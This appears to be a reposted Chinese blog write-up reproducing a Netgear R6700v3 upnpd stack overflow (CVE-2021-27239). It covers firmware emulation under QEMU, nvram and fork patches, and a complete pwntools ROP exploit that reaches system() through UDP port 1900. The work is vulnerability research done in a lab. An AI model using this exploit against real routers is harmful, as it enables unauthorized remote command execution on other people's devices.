13

Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现

 2 years ago
source link: https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现

发表于 2021-11-01

| 分类于 IOT

漏洞位于/usr/sbin/upnpd,是ssdp(UDP 1900)协议的解析过程中,对MX字段的strncpy引发的栈溢出。由于是字符串拷贝,最终的利用方法仍与 PSV-2020-0211 一致,采取栈迁移的方法规避空字符截断。具体来说就是先把带00的ROP链打上栈,然后再触发栈溢出,用 ADD SP, SP, #0x800; POP {R4-R6,PC} 这种gadget完成栈迁移并将控制流打到ROP的gadget上。

根据漏洞通告,可见此洞影响的版本众多:

注:PSV 是 Netgear 自己家的漏洞编号体系

以R6700v3为例,其中说明:R6700v3 running firmware versions prior to 1.0.4.102,故找到如下版本,对 /usr/sbin/upnpd 分析

binwalk解包固件,底座为 arm32:linux:uclibc,对目标程序 /usr/sbin/upnpd 搜索MX字符串,容易找到:

都不用bindiff,很明显能看到新版本在strncpy前添加了长度检查,那肯定就是这个栈溢出了。多说一句,就是这个漏洞的发生的本质是:strncpy拷贝的最大长度,错误的取决于输入,正确的应该是取决于拷贝目标。

关于Netgear的upnpd可以RCE的历史漏洞,主要有两个:PSV-2020-0211 , PSV-2019-0296

PSV-2020-0211

目标:upnpd UDP 1900

原始作者:

对于此洞的复现比较多,可以找到以下完整的复现和利用过程:

显然PSV-2020-0432与PSV-2020-0211类似,故最后的交互为UDP 1900端口的ssdp报文。

PSV-2019-0296

目标:upnpd TCP 5000

2019 pwn2own tokyo的比赛项目,原始作者为Pedro Ribeiro和Radek Domanski:

对于此洞的复现:

看起来路由器的原生系统也没有直接开放可以getshell的接口,并且之前很多文章都可以成功模拟运行upnpd,所以也尝试模拟运行,坑点仍然在nvram的hook上,主要是两点:

  1. 编译的libnvram.so时需要用uclibc的交叉编译工具链,否则可能无法找到函数符号
  2. 虚假的nvram的表项需要添加一大堆,并且IP地址配置要和本地一致,才能正常运行

对于nvram的hook,有现成的一些项目:

这里使用libnvram,打如下patch:

diff -uprN ./libnvram/config.h ./libnvram_patch/config.h
--- ./libnvram/config.h	2021-11-03 21:25:11.000000000 +0800
+++ ./libnvram_patch/config.h	2021-11-03 21:26:48.000000000 +0800
@@ -49,8 +49,8 @@
     ENTRY("restore_defaults", nvram_set, "1") \
     ENTRY("sku_name", nvram_set, "") \
     ENTRY("wla_wlanstate", nvram_set, "") \
-    ENTRY("lan_if", nvram_set, "br0") \
-    ENTRY("lan_ipaddr", nvram_set, "192.168.0.50") \
+    ENTRY("lan_if", nvram_set, "ens33") \
+    ENTRY("lan_ipaddr", nvram_set, "192.168.0.110") \
     ENTRY("lan_bipaddr", nvram_set, "192.168.0.255") \
     ENTRY("lan_netmask", nvram_set, "255.255.255.0") \
     /* Set default timezone, required by multiple images */ \
@@ -70,6 +70,18 @@
     /* Used by "DGND3700 Firmware Version 1.0.0.17(NA).zip" (3425) to prevent crashes */ \
     ENTRY("time_zone_x", nvram_set, "0") \
     ENTRY("rip_multicast", nvram_set, "0") \
-    ENTRY("bs_trustedip_enable", nvram_set, "0")
-
+    ENTRY("bs_trustedip_enable", nvram_set, "0") \
+    ENTRY("upnpd_debug_level", nvram_set, "9") \
+    ENTRY("friendly_name", nvram_set, "R6700") \
+    ENTRY("upnp_turn_on", nvram_set, "1") \
+    ENTRY("upnp_enable", nvram_set, "1") \
+    ENTRY("board_id", nvram_set, "123456") \
+    ENTRY("lan_hwaddr", nvram_set, "AA:BB:CC:DD:EE:FF") \
+    ENTRY("board_id", nvram_set, "123456") \
+    ENTRY("upnp_duration", nvram_set, "3600") \
+    ENTRY("upnp_DHCPServerConfigurable", nvram_set, "1") \
+    ENTRY("wps_is_upnp", nvram_set, "0") \
+    ENTRY("upnp_sa_uuid", nvram_set, "00000000000000000000") \
+    ENTRY("upnp_advert_ttl", nvram_set, "4") \
+    ENTRY("upnp_advert_period", nvram_set, "30")
 #endif

打patch方法:

➜  ls
diff.patch libnvram
➜  patch -p0 < ./diff.patch                                        
patching file ./libnvram/config.h

然后用uclibc编译这个库,工具可以直接在uclibc官网下到:cross-compiler-armv5l.tar.bz2

➜ cd libnvram
➜ make CC=../cross-compiler-armv5l/bin/armv5l-cc 

这里提供编译好的库:libnvram.so,不过因为ip地址和网卡啥的需要与本地环境相同,可以直接用sed替换进行适配:

➜ sed -i 's/192.168.0.110/192.168.1.111/g' ./libnvram.so
➜ sed -i 's/192.168.0.255/192.168.1.255/g' ./libnvram.so
➜ sed -i 's/ens33/eth0/g' ./libnvram.so

然后直接拷贝到,设备文件系统的lib目录下,这样可以省去LD_PRELOAD:

$ cp ./libnvram.so ./lib/libnvram.so
$ cp `which qemu-arm-static` ./
$ mkdir -p ./tmp/var/run
$ mkdir -p ./firmadyne/libnvram
$ mkdir -p ./firmadyne/libnvram.override
$ sudo chroot . ./qemu-arm-static  ./usr/sbin/upnpd

成功启动后,可以看到目标端口:

$ sudo netstat -pantu | grep qemu
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      54012/./qemu-arm-st 
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           54012/./qemu-arm-st 
udp        0      0 0.0.0.0:39991           0.0.0.0:*                           54012/./qemu-arm-st 
$ ps -ef | grep qemu
root       54012    1465  0 13:52 ?        00:00:00 ./qemu-arm-static ./usr/sbin/upnpd
xuanxuan   54046   46552  0 13:54 pts/3    00:00:00 grep --color=auto qemu

另外运行起来后,发现进程号会变,也就是程序会fork,qemu-user无法调试,又没看到upnpd直接在哪fork了,所以直接patch其libc中的fork,让其直接return 0:

后经同伴提醒,daemon()会fork()

.text:00015ABC             fork                                    ; CODE XREF: j_fork+8↑j
.text:00015ABC                                                     ; DATA XREF: LOAD:00008D74↑o ...
.text:00015ABC 00 00 A0 E3                 MOV             R0, #0  ;
.text:00015AC0 3E FF 2F E1                 BLX             LR

如果是patch fork的调用过程则一般直接清空r0寄存器即可:

call fork -> mov r0, 0

本质都是让父进程完成子进程的工作,直接给出patch好的 libc.so.0

除了NX没有任何保护:

$ checksec ./usr/sbin/upnpd
[*] './usr/sbin/upnpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

测试过长的MX:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)

io.send(payload)
$ sudo chroot . ./qemu-arm-static -g 1234  ./usr/sbin/upnpd

的确就控制流劫持了:

$ gdb-multiarch  -q
pwndbg> set architecture arm
pwndbg> set endian little 
pwndbg> target remote :1234
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616160 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
 R0   0x0
*R1   0x1
*R2   0x258
 R3   0x0
*R4   0x61616161 ('aaaa')
*R5   0x61616161 ('aaaa')
*R6   0x61616161 ('aaaa')
 R7   0x0
*R8   0xfffed580 —▸ 0xfffecf90 ◂— 0x614d2061 ('a Ma')
*R9   0xfffecf7c ◂— 0x61616161 ('aaaa')
*R10  0xfffed584 ◂— 0xff7d0020 /* ' ' */
*R11  0xc01cc ◂— 7
*R12  0xff57bedc —▸ 0xff571a50 ◂— adds   r0, #0
*SP   0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC   0x61616160 ('`aaa')

因为是strncpy引发的栈溢出,所以需要绕空字符,虽然qemu-user可以无视NX以及随机化,投机取巧打shellcode,但仔细分析后发现还是有正经的方法打真实的利用:

SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE

其实就是发两个包,进行如下测试:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

payload  = b'xuan\x00hello'*200
io.send(payload)

payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)

当发生控制流劫持时:

*SP   0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC   0x61616160 ('`aaa')
─────────────────────────────[ DISASM ]──────────────────────────────
Invalid address 0x61616160


──────────────────────────────[ STACK ]──────────────────────────────
00:0000│ sp 0xfffecf58 ◂— 0x61616161 ('aaaa')
... ↓       7 skipped
────────────────────────────[ BACKTRACE ]────────────────────────────
 ► f 0 0x61616160
─────────────────────────────────────────────────────────────────────
pwndbg> search xuan
[stack]         0xfffed6f8 'xuan'
[stack]         0xfffed702 'xuan'
[stack]         0xfffed70c 'xuan'
[stack]         0xfffed716 'xuan'

当前的栈在0xfffecf58,先发送过去的一堆xuan在0xfffed6f8,其差为:

>>> hex(0xfffed6f8 - 0xfffecf58)
'0x7a0'

并且先发过去的空字符不会被截断:

pwndbg> x /2gx 0xfffed6f8
0xfffed6f8:	0x6c6568006e617578	0x68006e6175786f6c
pwndbg> x /2s 0xfffed6f8
0xfffed6f8:	"xuan"
0xfffed6fd:	"helloxuan"

可找到如下gadget:

.text:00013908                 ADD             SP, SP, #0x800
.text:0001390C                 POP             {R4-R6,PC}

所以完全可以先把带00的ROP链打上栈,然后再触发栈溢出,使用如上gadget栈迁移。这种栈迁移,并没有把栈迁移到其他数据段,栈还在栈上,就是错位了,这种gadget就是正常的函数结尾,所以也很常见。

  • 这种打法有些类似堆喷:将恶意数据残留在内存上,之后使用
  • 这种打法的情景有先后:先扔数据,再控制流劫持
  • 这种打法可行的道理是:上次接受的栈上数据没有清空

最后的ROP与 Netgear R8300 UPnP栈溢出漏洞分析 相同,使用如下gadget将栈上的可控串拷贝到upnpd的bss段:

.text:0000BB44                 MOV             R0, R4  ; dest
.text:0000BB48                 MOV             R1, SP  ; src
.text:0000BB4C                 BL              strcpy
.text:0000BB50                 ADD             SP, SP, #0x400
.text:0000BB54                 POP             {R4-R6,PC}

然后打一个system即可:

.plt:0000AE64 ; int system(const char *command)

最终exp如下,bss地址使用0x970A0,只打一个ls,反弹shell的懒得弄了:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

cmd = b'ls'

# throw rop chain to stack first
rop_chain  = p32(0x970A0)
rop_chain += p32(1) * 2
rop_chain += p32(0xBB44)
rop_chain += cmd.ljust(0x400,b"\x00")
rop_chain += p32(1) * 3
rop_chain += p32(0xAE64)
io.send(b'a'*356 + rop_chain)

sleep(0.1)

# trigger stack buffer overflow to rop chain
payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: '
payload += b'a'*139
payload += p32(0x13908)[:-1]
payload += b'\r\n'
io.send(payload)
nvram_match: true
ssdp_http_method_check(204):
ssdp_discovery_msearch(1008):
MX Empty , not integer or negative!!
bin              lib              qemu-arm-static  usr
data             media            sbin             var
dev              mnt              share            www
etc              opt              sys
firmadyne        proc             tmp
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

复现这个洞的技术点没有什么新颖的,都是IoT老生常谈的东西:

hook、patch、bypass也的确是黑客常用的动词,最后感谢cq674350529师傅的文章:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK